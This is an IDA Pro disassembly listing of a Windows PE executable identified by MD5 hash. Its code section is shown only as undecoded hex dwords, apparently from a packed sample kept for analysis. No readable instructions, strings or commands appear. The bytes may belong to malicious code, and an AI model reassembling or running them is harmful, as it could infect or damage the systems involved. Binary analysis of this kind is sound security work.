;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	A7329924797CF76DB4929804CEFCC402

; File Name   :	u:\work\a7329924797cf76db4929804cefcc402_orig.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00008000 (  32768.)
; Section size in file		: 00003000 (  12288.)
; Offset to raw	data for section: 00000400
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default

		include	uni.inc	; see unicode subdir of	ida for	info on	unicode

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		dd 6F3000A1h, 0C0690040h, 30043FDh, 9EC30500h, 0B4A30027h
		dd 0E8C1000Fh, 7FFF2510h, 0C3050000h, 424448Bh,	81C311B0h
		dd 1902CECh, 0F8D5810h,	68501700h, 0FF050901h, 85511415h
		dd 0A0C48116h, 8B55C315h, 5756EC02h, 0C70875FFh, 0F800C14h
		dd 4589C8BEh, 5505B008h, 7503B00Ah, 85FCE00Bh, 0B82EC9h
		dd 27D0226h, 0FF85C803h, 85F805E1h, 85D0E1D2h, 6AF0E0F6h
		dd 0F9058301h, 0C75587Fh, 41751985h, 3D751780h,	5874F03Bh
		dd 50A1137h, 0F9813274h, 3380ACh, 0FF830A75h, 277E0F16h
		dd 7C200B04h, 0C01D1120h, 0FF810802h, 7407E2A8h, 0A90FC710h
		dd 0FE1E0A47h, 32027501h, 5D5E5FC0h, 0ACC78C69h, 93539600h
		dd 0A8858D16h, 0FF680070h, 63500071h, 85C1049Ch, 794275C0h
		dd 1010E715h, 33F88B80h, 0FE3BF6h, 478B2D74h, 7430390Ch
		dd 48B2602h, 0C730FF06h, 0D8400819h, 0B005E853h, 0B844038h
		dd 157559C0h, 0C683801Eh, 63C8304h, 0EBDC67B0h,	5D8B0300h
		dd 74DB8508h, 0EB530203h, 69FC6805h, 0C7FA29CEh, 7F385018h
		dd 80C95A5Bh, 10EC830Bh, 106A027Dh, 0DECE458Dh,	11447878h
		dd 0C48305ABh, 81C7660Ch, 6800020Eh, 2D3D36BDh,	933650F4h
		dd 0F2172966h, 0D001161Fh, 6AF40B07h, 0F81D2F08h, 66A10C1h
		dd 535B1B30h, 2C026A2Ch, 0F08BF878h, 30FE832Ch,	0EBE30458h
		dd 0B561D5Ah, 17565010h, 8317FC1Eh, 2EF9FFF8h, 1C380DDBh
		dd 0C35A8A51h, 8BF87081h, 0C24137Ch, 38CE8E57h,	0C00974C4h
		dd 8017756Dh, 19E1B03Fh, 0B0F7BC57h, 0B077408h,	8B0C408Bh
		dd 0E5301E1Fh, 8B058542h, 0BCBE9FC6h, 5FF1402h,	29F47734h
		dd 9C063516h, 68EC046Eh, 0D1406A14h, 7069E041h,	17A4C9CEh
		dd 71100868h, 40EB240Fh, 5FE29C2Ch, 5625E531h, 0B12BAA0h
		dd 20352E8Bh, 50592E16h, 42505811h, 0B7E5BBD6h,	93D1016h
		dd 1C7F0FEFh, 5E26501Ch, 0AAD6295Fh, 13033C1Eh,	2EDB3357h
		dd 2DD55364h, 0E8270C0Fh, 0D62C9E53h, 4291B72Ah, 2A620775h
		dd 36A61E9h, 752D3C8Fh,	840F8657h, 560EE093h, 0B2FD02E8h
		dd 871BC924h, 5FEF00Bh,	0B36F3868h, 11DF18DFh, 0B583Ah
		dd 0CE0C56CDh, 300958D8h, 0C4856078h, 7D0DFC59h, 0CF0CF207h
		dd 829CF436h, 2511C4Ch,	8D532476h, 16D33584h, 16718C9Dh
		dd 46B226F0h, 0DC6025F2h, 9EDC7259h, 0B020110h,	0E82404C7h
		dd 1E26FB77h, 1B30928h,	0C2A8575Eh, 1AB1F55Fh, 0CCEB0744h
		dd 35719D3Bh, 0EE9F790Ch, 0C409D23Eh, 91EC2068h, 0C988B133h
		dd 0FEFD6961h, 0D548AC0h, 188858C4h, 200480h, 60404041h
		dd 0EE7C2848h, 19606A2Ch, 68FF4C38h, 4063E41Bh,	8B12625Dh
		dd 8B9040EFh, 1C383FD1h, 0E1EFB4FCh, 0EEFF7C06h, 0F0CCDE1Eh
		dd 68096A21h, 31643B2Fh, 0D8E1BDACh, 206B7B45h,	48B3F75h
		dd 0D001E91Ah, 0FE4588E0h, 0E5FE1162h, 21AE4F42h, 9041D70h
		dd 218E23B3h, 79FF3CFFh, 2C6471EBh, 846D371Bh, 0DF3BD884h
		dd 93C497C7h, 687AC657h, 22B389B8h, 6DAB188Fh, 3914A737h
		dd 9C0F3CECh, 8B36EE0Ch, 534C8B43h, 0B200C39Ch,	93CAC90Ch
		dd 765A3D14h, 922F67Bh,	1D8B6B74h, 4B8B8DA5h, 0CC424B89h
		dd 1C0ACE61h, 118D32Dh,	40BF5752h, 85D99C06h, 0FF0CBC58h
		dd 31325759h, 6434ECBDh, 8DE3D66Eh, 58680465h, 0D8DF7962h
		dd 0B56A252Ch, 7413BA28h, 3BDE7424h, 0A39B6304h, 415A331Ch
		dd 8D46A028h, 0EEC5CB5h, 5C0EAC5Fh, 130C1106h, 0D26A1868h
		dd 10C0C0EBh, 264F4646h, 0CF0FE375h, 5804581Ch,	0B8424ACDh
		dd 0D6B1EFC4h, 0A1CB1505h, 833B234h, 0A1ECEAC1h, 0F20A6738h
		dd 8D5B4C6h, 0ED3E0627h, 4893B43Fh, 3C8E09A6h, 3EEFB4A8h
		dd 8E6C3FECh, 0EF6BACB4h, 0FB8EB43Fh, 0B53FFB3Ch, 9A8C921h
		dd 0CFFAE3FAh, 0E7DEA669h, 99993516h, 0DD034C0Ah, 0C7D069E2h
		dd 253B60AAh, 0C2E7366h, 0FB8305DFh, 80657401h,	60740204h
		dd 74DD068h, 0F0DC0EB6h, 9906816h, 0BEC53767h, 562FCB34h
		dd 0D2A3696Fh, 86568BF1h, 36F2EC51h, 981AE197h,	0B7E6FF8h
		dd 63CDB6Bh, 0C5681009h, 0D1888553h, 737C017h, 0DACBFE9h
		dd 48385FB4h, 60B757D3h, 586A2ABCh, 702C1604h, 0B49B8DDBh
		dd 45535E32h, 3C0E787Fh, 432DB7DBh, 6882DE60h, 746A6A2Ch
		dd 647B1274h, 16803AF7h, 70B13840h, 159DD6DEh, 0F1B7CD6Ch
		dd 87690D94h, 3B00D06Bh, 80EC7CCFh, 12B944A5h, 45066300h
		dd 1C52BEA0h, 3C39ADB4h, 31785876h, 0BD8EAABCh,	0D4971439h
		dd 0C54FE40Eh, 257F0074h, 0FC7D8908h, 0FCCD5ECCh, 0EADC5EB8h
		dd 0DE8F6E67h, 9FE7E0CAh, 6CE41D08h, 7FDCACE5h,	22E1C56h
		dd 0F2F03DD8h, 33653753h, 3C1CBBF0h, 0BB475311h, 73AC8F69h
		dd 3DB66248h, 0D77F6936h, 0C730FC17h, 6A1601E0h, 4417B72Ch
		dd 756D7ED7h, 73B71D28h, 83C16464h, 8E04C083h, 2DEF9E4Bh
		dd 89C72D50h, 6814B85Ch, 64482F68h, 0BB634553h,	1FA03A7Ch
		dd 3A4764B4h, 7D831B5Ch, 6317A20Ch, 16A34C05h, 1A7C6A5Dh
		dd 0E2E0F81Ch, 703565DBh, 0BC93B1A7h, 741B9D4Fh, 6D5285E1h
		dd 4410C362h, 0D86885E9h, 68622DADh, 0EFE06124h, 9E48EFEDh
		dd 0CF83985h, 590AA038h, 0EFF0B5B2h, 665B6C68h,	0B7EC875Ch
		dd 0C71B5A8Eh, 6A5076A4h, 730ADE70h, 802ABC59h,	0A5EC878h
		dd 977584ECh, 8784680Bh, 0C7A24863h, 3C71674Ch,	80E36C79h
		dd 519610FCh, 353B74B1h, 0FDCC227h, 6FA741D3h, 68147026h
		dd 14E7EB86h, 33E6DA48h, 0B52A32E3h, 66763AEBh,	0AF744C7Ch
		dd 8210B687h, 0C0599303h, 7559013Ah, 0D913BC60h, 1840BE6Bh
		dd 0C259FB15h, 0B374596Bh, 56F6CFAh, 0EB079958h, 3A222D5Fh
		dd 0F001A33Ch, 0D90AEB01h, 0F40BFBF8h, 8C4EE07h, 59780281h
		dd 0E4837C5Eh, 2C530871h, 0B85F8CDBh, 0E6030BDAh, 6AD3277h
		dd 7868D035h, 0DDDE0B82h, 12505917h, 6D9538Bh, 0B4087D8Bh
		dd 3803B40Ch, 2768FB1Ch, 711B0400h, 0D9B41518h,	5A48016h
		dd 0A7B79913h, 0F874C51Dh, 5CB41A9Dh, 563AD475h, 0DB71D43Dh
		dd 307C0C0Eh, 0D8CFEB6Ch, 64FCD8A3h, 0C1C471FBh, 202BCC36h
		dd 1C67D6FBh, 661B17E0h, 6A6031A1h, 8DFC41B1h, 78190267h
		dd 149C7B16h, 33D81A8Bh, 30DDC6FFh, 7D041E60h, 8002830Eh
		dd 89592B0Eh, 0C85CBD44h, 0A75750Fh, 0EE8450Bh,	0F750507h
		dd 730EC59h, 5F5A066Ah,	9D6A2D4Dh, 58474838h, 58062059h
		dd 4C7C4B59h, 0D44CEEB4h, 1AE85827h, 0D008B0A0h, 8E72CC1h
		dd 3CC0E05h, 0C808EC7Dh, 0B97A5468h, 1FDB182Dh,	0C3E047E0h
		dd 4CF3D20Dh, 7B8D1DFCh, 0BDE427B8h, 98E41334h,	2A746DCFh
		dd 80E7BA8Ch, 2BDB162Ch, 8E00CE1Eh, 0ECD841B3h,	57E3D88Fh
		dd 19CFEE3Ch, 0DA0A112Eh, 0F9DC5D89h, 7BBD820h,	3DF40D8Bh
		dd 3BDE9A36h, 5341EF8Ch, 6F0974ACh, 0EB0BC453h,	0F79E9F75h
		dd 90F1FBB6h, 0F62D3415h, 6D7B133Ah, 7B300E8Fh,	0F85A8230h
		dd 26594A74h, 86AD6B2Dh, 2C1D8B86h, 74594FD1h, 8A30B315h
		dd 4070F852h, 361B7501h, 23356580h, 9CA9966Ah, 0F4591453h
		dd 2D1FD6CDh, 3524DEEBh, 4E183FA7h, 8F02D67Fh, 0D9DCA3DCh
		dd 36EBBDC4h, 0F64437F9h, 0CBB7745Ah, 0BA763918h, 0F0BB303Ch
		dd 8F0F1000h, 351F6625h, 84A93790h, 0A27004C2h,	6C082474h
		dd 8A002057h, 74203C06h, 5093C04h, 0EB460375h, 0C5D43BF3h
		dd 0A20B1844h, 0DC00D5Fh, 0BF048D0Eh, 7C8D4600h, 0E5EBD041h
		dd 0A8C7618Bh, 33085654h
		dd 3F5657F6h, 5F088BA5h, 45E1D58h, 0B515B268h, 0C66C6ADFh
		dd 75891A57h, 51FBC4F0h, 0E13C9B6h, 97B3056Ah, 85960D00h
		dd 0B70B573Fh, 930A5656h, 4D417AE8h, 428C51FCh,	1B086818h
		dd 1638FC9h, 196AC638h,	46EB7978h, 541EE4DAh, 2D91E304h
		dd 32C47669h, 461B9DBEh, 0D92C20D6h, 0A6D59F0h,	0F8C2C747h
		dd 4C0FF85h, 81067DDCh,	4FD3C749h, 0C3093C47h, 0C657E8E8h
		dd 1F6A00C2h, 0F9F75999h, 0FFA0283h, 0B6E84D7Eh, 231E0FF6h
		dd 9916A6E8h, 0B0ECE8Bh, 0A9BE852h, 23D69071h, 3B3E17EBh
		dd 0B0788E17h, 16EB5753h, 1969E82Ch, 0E8AC5EE3h, 8E0A535Bh
		dd 91ADB748h, 0D546F220h, 0ECD423Bh, 4EF6B110h,	40365C3Ch
		dd 0BF640EB9h, 3711BA95h, 17C50F7Ch, 180EC52Bh,	7004CB50h
		dd 0D577C80Eh, 0C9B4A620h, 0BB35BD3Ch, 0E2D13284h, 4C5151C3h
		dd 483D2E58h, 68C9B011h, 5E6A4D94h, 3D22D796h, 193D6C44h
		dd 234C04B4h, 50106F93h, 76170C27h, 0A830D12h, 0D25A597Fh
		dd 8E10E858h, 1010F167h, 2DFD86D2h, 40674280h, 0B73D87h
		dd 0D73CA235h, 48B464CBh, 53CE4CEAh, 65680B1Fh,	0BBC2261Eh
		dd 5A863680h, 0F03F13F8h, 0EE754B04h, 0E3E75Bh,	0BB86884h
		dd 0EB0A6035h, 24CED9ECh, 69BE56E2h, 0DC740E00h, 9D8D568Dh
		dd 8DFBDCE2h, 50150BD6h, 1D5B5A0Dh, 5BC8005h, 5C0CC8DBh
		dd 13741361h, 4D681778h, 9B6D2FCCh, 0C81E23A9h,	137130EEh
		dd 0DC020C80h, 165E74C1h, 4E726313h, 745A9E6Bh,	2E10CE4Ch
		dd 53409C68h, 8011FF68h, 0FB6E8267h, 0ED0D7567h, 5C0017CBh
		dd 81D6CC8h, 0CA126C6h,	9DC5CA50h, 8B00ACCCh, 0C245400h
		dd 4244C8Bh, 74D21385h,	8A082A47h, 8B8CE644h, 720474E0h
		dd 0D900F72Dh, 7403E183h, 0D12B08h, 49470788h, 0C88BFA75h
		dd 8E0C105h, 6A3C103h, 83CAC210h, 0E905C0E2h, 2E067402h
		dd 5C3AABF3h, 0F74A2306h, 695F993Eh, 0E861D6E4h, 0C132F75Bh
		dd 145FE003h, 0B41018Ah, 4074C084h, 0F175C20Eh,	0E030DC75h
		dd 0FF03BA01h, 37EFEFEh, 33BF70D0h, 0C11B83C2h,	6DA904h
		dd 0E8748101h, 0FC5C418Bh, 8433322Bh, 0A9131EE4h, 133DB886h
		dd 0ADB69BCBh, 0CDEB0201h, 68FF418Dh, 0C12C2B55h, 0FE7509C3h
		dd 0FC67FD9Dh, 0B8D781EEh, 69C5729h, 104D31E3h,	0B88B5CCBh
		dd 0C603D100h, 276FE3Bh, 0FF83B08h, 7A387882h, 8CB6C7F7h
		dd 0E0CB145Dh, 8F983D1h, 0F3290072h, 9524FFA5h,	51CE23D8h
		dd 1CBAC72Dh, 80E98309h, 0E0830C0Dh, 0C8580303h, 0F0398517h
		dd 8D06C122h, 90C523E8h, 8B6C07CEh, 2C970400h, 23503C03h
		dd 0C8AD127h, 1468A01h,	62014788h, 56EE0205h, 0C6597108h
		dd 5CB3C7C5h, 5B8DACCCh, 259D2B49h, 271019Ch, 0D6A6D102h
		dd 2E23905Eh, 475A2146h, 0DE8C3A19h, 6CF5C3Fh, 0B403B9BCh
		dd 0A49EACE7h, 0E7949C79h, 3188AC8Ch, 6885E48Eh, 7CFE48Fh
		dd 0ECE83CE8h, 0F0CFECF3h, 0F3F4F03Ch, 3CF8CFF4h, 0FCF2FCF8h
		dd 348D6DB1h, 0F0030B9Ah, 0E26CF803h, 0F0D1FF8Bh, 0FC0373F0h
		dd 62410C7h, 5C08458Bh,	9DB49071h, 0F97C0BFAh, 0A3EB11FDh
		dd 0AEEDA0Dh, 748DA02Bh, 7C67B031h, 7FFC4F39h, 0DC2249Dh
		dd 0FCE3C5FDh, 257077C7h, 65859749h, 0EF252016h, 0F9A38FD6h
		dd 78A12BE3h, 2CA1DB24h, 0B728890h, 0D003E7A8h,	99036DB8h
		dd 36FC23Ah, 4F58E54Eh,	0BDB656A3h, 0B51F4BCEh,	0B1EEA3B8h
		dd 63CBEF02h, 90F2294Eh, 24F527DEh, 0B1EEABB8h,	0AE69EFABh
		dd 0E5A4531h, 2E5BFED6h, 2C5C0624h, 3CF33403h, 4C3C44CFh
		dd 0D767F354h, 1C1C3C67h, 0E71807B9h, 79149E18h, 10E71014h
		dd 0C790C9Eh, 9E08E708h, 97044F04h, 80C51FCBh, 38805CBh
		dd 0AC7A989Eh, 0B7E78BD6h, 0EE87ADB5h, 0E783D70Fh, 0B7F6D213h
		dd 0CCC01E8Dh, 83003D51h, 968D119Eh, 14151751h,	25B8C281h
		dd 10D02DDDh, 17B60185h, 84EC7326h, 0CC48B16h, 8BE18B0Bh
		dd 884019A5h, 0EFD2C38Ch, 56534130h, 61118A30h,	98841031h
		dd 8A006919h, 0F6840171h, 5D8B4F74h, 11919F7h, 0D038C930h
		dd 0D9157423h, 3A180B9Bh, 750A380Ah, 5B5EF518h,	0A0C3B4C5h
		dd 0EB75F010h, 0FF7E8D02h, 3902618Ah, 106628F7h, 0E03811E0h
		dd 8A17C475h, 6310341h,	0FF668A18h, 83101F67h, 0B1EBDF74h
		dd 34C2E419h, 90E0C28Ah, 478D9119h, 0C30CFF5Ch,	5D31DD9h
		dd 20111A1Ah, 57F2A053h, 26B0086Ah, 7D338D59h, 6A0BA2E0h
		dd 16002C07h, 0B60F01B3h, 101CCCAh, 0E8C1CF23h,	0CE3D203h
		dd 0CF056699h, 0A2461816h, 8BE57502h, 29460855h, 0CA8B0610h
		dd 8A4960A4h, 27BB6A02h, 5BCE1B61h, 0E3D32860h,	8AE798C1h
		dd 0E0354C01h, 774D984h, 42038270h, 8BE016EBh, 0A7921DAh
		dd 0CE236D1Eh, 580B242Ah, 5025E0D3h, 21B475C1h,	228000h
		dd 5FC38B42h, 5EC2012Bh, 0C01BD8F7h, 23556C89h,	565BC327h
		dd 8493898h, 8D6A0CEBh,	0FDDA24A4h, 5757C936h, 8E0FCF20h
		dd 1B7FA63Bh, 1A3E238Fh, 79810E3Bh, 600DEBFFh, 8EBFE04h
		dd 3EBFDE0h, 0C0C68E6h,	194C5FBEh, 92414E95h, 1788640Bh
		dd 0EEE06247h, 668905EBh, 42D7417h, 0F86EB967h,	0B5118B69h
		dd 2FE1976Bh, 0BBF3427h, 69C2F727h, 79F1265h, 38C7966Ah
		dd 668BEE67h, 0C5C6C608h, 0CAD0043h, 0F08808C5h, 0EC3D8307h
		dd 1FE6C58h, 68117E09h,	4CA71D07h, 21A7AEECh, 0E195471Ah
		dd 0D8B26B0h, 8137C3E0h, 2541048Bh, 0C6F8A307h,	2820306Ah
		dd 7D31E451h, 64046134h, 0B2434A1h, 25896450h, 1CD74B07h
		dd 89570858h, 0C563E865h, 0D233C1ACh, 5C31D48Ah, 93C2EA64h
		dd 765CE181h, 600D2E89h, 0E1C1210Dh, 0ACAA68Bh,	0E8025C1Dh
		dd 0E258A310h, 8EF63307h, 7D232998h, 8754281h, 0B701C6Ah
		dd 63595419h, 83C0E89h,	4DD25821h, 1A27F7A8h, 20B8D074h
		dd 40A316A0h, 1ECC096Fh, 9A1D8B38h, 0BC58AEB4h,	79C6D02Bh
		dd 838FA431h, 1674A4h, 9C458942h, 1D045F6h, 0F06F986h
		dd 18D445B7h, 58410AABh, 729C4F8Dh, 0BE9EA01Fh,	89302566h
		dd 0E91A34D8h, 0EC47568Ch, 8909011Fh, 5150984Dh, 0BE1B1071h
		dd 0C7E0FE69h, 0CBE89875h, 23C3F6BAh, 75C56F48h, 251BC405h
		dd 423E78Bh, 9AC42588h,	0D04F7066h, 0BB2FE76Ah,	0F859F224h
		dd 0E450B025h, 428D60D0h, 0C35BFF1Bh, 648DE25Dh, 0D36C06C8h
		dd 0D88B3153h, 0EBC4BD90h, 0B0BFC908h, 0A8A130Ah, 0D4384236h
		dd 0C984D102h, 12F05174h, 0B36ED75h, 0C3029CD8h, 5610E3C1h
		dd 0A8B08C1h, 4611B6BFh, 3319B6C1h, 0F96FC1CBh,	0B4FFF183h
		dd 33CF021Ah, 4C283C6h,	1BD06D64h, 256D1C75h, 6D39622h
		dd 817979Ch, 2345E681h,	4023AD80h, 0CDC05B11h, 38FC428Bh
		dd 367437D8h, 38EF0DA7h, 0AB3E93DCh, 0BC8DE793h, 0DCF31512h
		dd 385806CFh, 0E12DB396h, 77FE42B1h, 0FD9F0637h, 0D125FC1Dh
		dd 8D91C522h, 0F9658848h, 0C772638h, 72592FDEh,	52EB2F30h
		dd 5B83F599h, 0C12B0E3Ah, 0D1B68085h, 15644F6h,	0A5E8023h
		dd 0FE658005h, 0FC4D1060h, 0FD451B88h, 916A46Ah, 45FD380Dh
		dd 42CFC6Bh, 0BB0A4D8Dh, 51018413h, 3C559A50h, 17682701h
		dd 27566D0h, 0C6B89B8Ch, 452C230Ah, 0A111080Ch,	0CC347454h
		dd 0D0FF0203h, 73601068h, 30060888h, 68A41BC1h,	0E6804h
		dd 16DD4BEAh, 8A974FC3h, 0D11B0C3Ch, 100CB28Bh,	86DA0147h
		dd 395F047Fh, 0BAE3943Dh, 0FD691175h, 0D3B8A963h, 64B49E49h
		dd 3155CD83h, 18585C20h
		dd 903D2E89h, 1D881622h, 3C82288Ch, 83F150A1h, 4CEF6122h
		dd 8D56C074h, 3B02FC71h, 8B1372F0h, 0B097F206h,	5A3B047Ch
		dd 73022235h, 18685EEDh, 0D41494D1h, 5A682898h,	1C3B1020h
		dd 5BDB8580h, 7AB41075h, 4F86895Bh, 6198362Ah, 0E23B78A2h
		dd 0D60D73AAh, 4C60A57h, 5D34EDEBh, 53D85344h, 18D3FF1Ch
		dd 8B842047h, 0F79C0858h, 15AEDA15h, 5C8205FBh,	0E5086083h
		dd 807158EAh, 4343FC1Ch, 73F61938h, 98AE8700h, 4CE6266Fh
		dd 0C04D4369h, 8B0C0B3Bh, 24680448h, 1DC85B85h,	0CC6D701Ch
		dd 6D743865h, 56D10003h, 157DCA3Bh, 4916348Dh, 1704D12Bh
		dd 161200B5h, 3022683h,	754A0CC6h, 177E46F7h, 16107C35h
		dd 58338E3Dh, 0C72D0C9Bh, 830E0C05h, 70EB1300h,	0CE123B25h
		dd 3D5D8381h, 0E884BC91h, 933D3B4Ah, 378385CEh,	82BC8D3Dh
		dd 3D3B24E8h, 8386CE8Fh, 0A3923D11h, 0CB8AE30Ah, 6A6688FFh
		dd 2E8C888Ch, 56590AECh, 0FA74595Eh, 3911515Dh,	0E368A39Ah
		dd 0FFC83683h, 7BD14868h, 5D5BE1BCh, 1C671DC3h,	6D7078D9h
		dd 0F8671539h, 0B85616FDh, 0ED748B05h, 0B74EB4Fh, 0CC08300h
		dd 473C63Bh, 0FC104339h, 490C8D02h, 8D03C55Eh, 0C13B15A1h
		dd 89661269h, 0EDCE3EEDh, 1B003B74h, 0A3E8662Ch, 2330499Eh
		dd 25637522h, 74616A9h,	119B476Dh, 0A1C019F7h, 0A7602861h
		dd 46E60128h, 3E80E3EBh, 0C00D2162h, 203C0A07h,	704EC676h
		dd 5977200Ch, 28E534FAh, 890FD104h, 0DB80C685h,	39DB3353h
		dd 0CC5AB41Dh, 0C85BFD48h, 4EEFD25Ah, 0C33A2B80h, 3D3C01DEh
		dd 23470174h, 3966683Ch, 0EB01A3C0h, 4128DE8h, 0AC3C04BDh
		dd 8BB12C01h, 0F33B59F0h, 0B4740931h, 7448CCA5h, 72F4C09h
		dd 1413D5Ah, 39741F38h,	396C5755h, 59E8058Bh, 853F8045h
		dd 0B1552249h, 31C33B34h, 2E6E063Ch, 36FF5708h,	596EACB4h
		dd 359166Eh, 750537FDh,	0B7FF5DC9h, 82452D84h, 0B1D2B8Bh
		dd 5F1E8940h, 4487985Eh, 0E8017471h, 6B510BF1h,	9CBE85BDh
		dd 3C982BDBh, 53515623h, 69A18AB2h, 84A2C729h, 38FE8B82h
		dd 8B4D6118h, 6DE347F8h, 53530BF3h, 671E459Fh, 0A0260F8Bh
		dd 8816E54Bh, 0EA19A5D4h, 3EA1D6CFh, 392F7508h,	8624E127h
		dd 356A5650h, 2C27FC2Ch, 7B5A4814h, 0A39C856Ch,	3606D068h
		dd 184CE26Ch, 30141CC4h, 0B321839Bh, 616A6672h,	0A60C7D44h
		dd 8BE494DFh, 0C6786685h, 61393777h, 80146189h,	449B3038h
		dd 150048Ah, 0C6FA8040h, 583929BEh, 0D2BE3025h,	218216F6h
		dd 41B4772h, 1043D74h, 70C0F685h, 1688108Ah, 0B40462Dh
		dd 0EB8BD59Dh, 4620CCEh, 461D3180h, 1CC24069h, 11D943EBh
		dd 0C51E6D05h, 44834004h, 0E983F6DAh, 881819C0h, 65B8461Eh
		dd 9797420h, 9086009h, 75E0CC75h, 0BBD94803h, 0FF664AD8h
		dd 2C6580D8h, 684E0018h, 16C700h, 2BD14439h, 3276805h
		dd 6CF15EB1h, 0BCF7C817h, 0B558BD0h, 0C702FF14h, 59D73AD0h
		dd 5C22C085h, 16400475h, 92F7EB43h, 0C3F62C81h,	6196B201h
		dd 307D3941h, 0B800D6Dh, 8D220178h, 8B1D38E3h, 3815C263h
		dd 0C9C0837h, 18D26C33h, 940F1805h, 58089C2h, 0D38BEBD1h
		dd 0B2F934Bh, 4088430Eh, 465C06C6h, 754BB1B0h, 0C58AF335h
		dd 92834A29h, 0A37CB33Fh, 74C33F8Ah, 94C833Ah, 282E742Eh
		dd 0C9E2195Bh, 0E21FE506h, 406F0F1Bh, 0E315032Eh, 90384001h
		dd 309AD81Fh, 0EE80F9Ch, 3C7B8A6h, 8E274E83h, 4CE1442h
		dd 98A06CFBh, 0A019A149h, 0B5684070h, 0D1C2EDD0h, 0C0C9F633h
		dd 475A88Bh, 260ED51Bh,	1674330Bh, 0ED7421BAh, 5828EB36h
		dd 4730CC3Dh, 1798FB3Bh, 0C71BF7EAh, 215EBC02h,	62C87D40h
		dd 0A781E0C7h, 3F0C2F43h, 0F0C22738h, 8C1E3966h, 40EBE173h
		dd 18086040h, 6BCF975h,	0C62BF211h, 50C82F87h, 84F8D10Dh
		dd 5953408Eh, 8903C090h, 23342444h, 235D7FFh, 3274EB3Bh
		dd 0C2223237h, 0C223747Bh, 0B950551Ch, 257724BBh, 97A92B21h
		dd 10230C0Eh, 8B5CE527h, 0B1038B09h, 5C4728Fh, 53EBC38Bh
		dd 75028982h, 85A5CE4Ch, 7408B177h, 8B60C03Ch, 2C0A74C7h
		dd 5A7B3840h, 0F60504FBh, 9C40C72Bh, 945666Ah, 68CEDD9Bh
		dd 0EBF622B0h, 6DBA0B46h, 0EC8B90F5h, 0C0F6B1B3h, 67C63D68h
		dd 624089EBh, 7D9C5B01h, 894459ECh, 0D232394Bh,	0B3093EADh
		dd 1B327365h, 4015C3E6h, 1C189673h, 20787440h, 29B4868Dh
		dd 7336B4ACh, 4396D1Ah,	46C6B6C0h, 0A15A0A05h, 2DF56C23h
		dd 0A1B0508h, 5DB4E2EBh, 66CC52A6h, 73420973h, 0C5D2C575h
		dd 0E99C4417h, 23B9740Bh, 5DC8D30h, 0A00800B8h,	2E1C8D4Ah
		dd 76027C2Ch, 6335392Dh, 0BF527D02h, 8F4CEE44h,	380068E6h
		dd 57F835Eh, 888D0789h,	4F607EB6h, 0B9608018h, 40C7087Eh
		dd 0C10F8B0Ah, 0C1810876h, 0DDE47C6Ch, 7C49F0D5h, 6EB16BBh
		dd 30D4098Bh, 187EF6A5h, 38038B46h, 68A3614h, 0C1F6004Dh
		dd 47ECE01h, 0B75080Bh,	87949EA5h, 0C7D05825h, 0C1CF8B01h
		dd 0E18305F8h, 85045530h, 218CCFB4h, 0B8BC805h,	2FC80889h
		dd 47EB6088h, 0C3038345h, 7CFE3B04h, 0EC5067BAh, 0FFD83CC1h
		dd 31D8F258h, 3B964D75h, 81041900h, 0F66AB481h,	8861EB58h
		dd 198748C3h, 72F58D71h, 0F203D858h, 0B5571750h, 250C8D66h
		dd 9A3ECF68h, 800608D0h, 0EB6AC54Eh, 3F8BB84h, 50A1C77h
		dd 0C604EB08h, 30438005h, 2D7C0374h, 0B8B8FF9Bh, 0A5F5D436h
		dd 44BD84A9h, 6AB3C4C3h, 0F3987732h, 0B6A0A368h, 63C02E76h
		dd 17558C5Bh, 569128A3h, 2D2E5C37h, 0F752570h, 10A73CB3h
		dd 0AE901E1Dh, 4BCD8672h, 0FCD62140h, 0C25529E7h, 33D868D8h
		dd 309EF886h, 5DA13C11h, 0E58B3AC7h, 41CFD022h,	67004h
		dd 81D8DB8h, 0E73A0F74h, 8910F1B8h, 0CBB80235h,	0BD3EC347h
		dd 6AD96012h, 0E05C68FEh, 66B26440h, 0C3AF8B5Dh, 0A620193Ch
		dd 708B0A4Ah, 53440E0Ch, 24047F2Eh, 21C02874h, 0B30C8B76h
		dd 39858949h, 17844889h, 0B1C3B37Ch, 14431275h,	0B32D2D4Eh
		dd 9124027Dh, 8C054FFh,	8F64C3EBh, 0DE4932ABh, 0E7F38CA2h
		dd 0D0641964h, 5A79810Fh, 75236804h, 8151190Dh,	390C52A6h
		dd 5B13151h, 8AC19B6Dh,	8C8CBB51h, 0F671B385h, 61A86708h
		dd 33024B16h, 6B02D043h, 465B590Ch, 56EF7024h, 30320243h
		dd 30304358h, 816374Dh,	59FC89FAh, 0F7B99C18h, 6CE4405Bh
		dd 212DC7D9h, 4531C489h, 16DE4D10h, 21713EF8h, 87BC273h
		dd 8D61C1D0h, 0B1760C2Ch, 45748F70h, 8D555605h,	0A89C106Bh
		dd 5E5D2E0Bh, 0C40B4C41h, 3C783317h, 45C54125h,	0B38BBB23h
		dd 56961D04h, 2EFDCE0Ch, 6FB33608h, 938FDE8Fh, 558F164Ah
		dd 5D3B0C2Eh, 1AE03008h, 0EB8F348Bh, 0DBB8A12Dh, 0C91CEB0Bh
		dd 0D015EB62h, 0B5FF6A5Ch, 165D963Fh, 55A394D6h, 8B02754Eh
		dd 1C418B29h, 1803C250h, 0F324D650h, 350EA1E1h,	99CCA18Eh
		dd 832AF2B8h, 6AD43D1Ch, 21089DCCh, 0D800FC68h,	33C42538h
		dd 9ACBA4A1h, 0FFF0F159h, 592A156Ah, 9AA4C06Ch,	8550184h
		dd 0A0B8C933h, 983B3E39h, 428E0B90h, 303D4108h,	0F137E06Eh
